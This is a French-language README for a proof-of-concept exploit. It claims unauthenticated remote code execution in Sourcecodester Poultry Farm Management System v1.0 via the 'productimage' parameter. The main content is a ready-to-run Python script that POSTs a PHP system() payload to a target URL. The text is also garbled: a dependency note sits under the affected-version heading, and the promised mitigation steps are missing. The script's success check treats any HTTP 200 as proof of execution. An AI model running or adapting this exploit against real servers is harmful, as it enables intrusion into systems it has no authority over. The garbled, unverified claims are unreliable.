
Script de preuve de concept démontrant l'exécution de code à distance non authentifiée dans Sourcecodester Poultry Farm Management System via le paramètre productimage vulnérable.
Ce dépôt contient un script de preuve de concept (PoC) démontrant une vulnérabilité d'exécution de code à distance sans authentification (RCE) dans Sourcecodester Poultry Farm Management System v1.0. La vulnérabilité se situe dans le paramètre productimage à l'adresse /farm/product.php, permettant à un attaquant d'exécuter du code arbitraire sur le serveur.
CVE-ID : (En attente)
Présentation :
Sourcecodester Poultry Farm Management System v1.0 contient une vulnérabilité d'exécution de code à distance sans authentification (RCE) via le paramètre productimage à l'adresse /farm/product.php. Cette vulnérabilité permet à un attaquant d'exécuter du code arbitraire sur le serveur sans authentification.
Version concernée :
requests (pip install requests)Ce script montre comment un attaquant peut exploiter la vulnérabilité RCE en envoyant une requête malveillante au paramètre vulnérable.
Enregistrez le script suivant sous le nom rce_poc.py et exécutez-le.
import requests
# Configuration
target_url = "http://target-url/farm/product.php" # Change this to the target URL
# Malicious payload
# The payload should be a command that the server can execute, e.g., 'ls' to list directory contents
# Here, we are using a simple PHP payload to demonstrate the RCE
payload = "<?php system('ls'); ?>"
# Construct the malicious request
data = {
'productimage': payload # The vulnerable parameter
}
def exploit_rce(url, data):
"""
Exploit the RCE vulnerability by sending a malicious request to the target URL.
Args:
url (str): The target URL.
data (dict): The data to be sent in the POST request.
"""
try:
response = requests.post(url, data=data)
# Print the response details
print("Status Code:", response.status_code)
print("Response Body:", response.text)
if response.status_code == 200:
print("[+] Successfully executed the payload.")
else:
print("[-] Failed to execute the payload.")
except requests.RequestException as e:
print(f"[-] An error occurred: {e}")
if __name__ == "__main__":
print(f"Sending malicious request to: {target_url}")
exploit_rce(target_url, data)
target_url sur l'URL du point de terminaison /farm/product.php du serveur vulnérable.productimage.exploit_rce() envoie la requête malveillante à l'URL cible et affiche les détails de la réponse.Pour atténuer cette vulnérabilité, appliquez les mesures suivantes :
En suivant ces mesures d'atténuation et les bonnes pratiques de sécurité, vous pouvez prévenir des vulnérabilités comme ce problème RCE dans Sourcecodester Poultry Farm Management System v1.0.